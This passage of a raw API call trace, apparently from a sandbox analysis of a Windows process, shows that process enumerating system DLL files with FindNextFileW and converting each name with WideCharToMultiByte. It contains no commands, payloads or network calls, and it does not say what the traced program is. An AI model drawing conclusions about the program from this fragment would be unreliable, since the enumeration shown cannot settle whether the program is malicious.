lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x49c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.690] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x49c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x49c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.691] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0180.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x49c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x49c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.692] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x49c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x49c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, 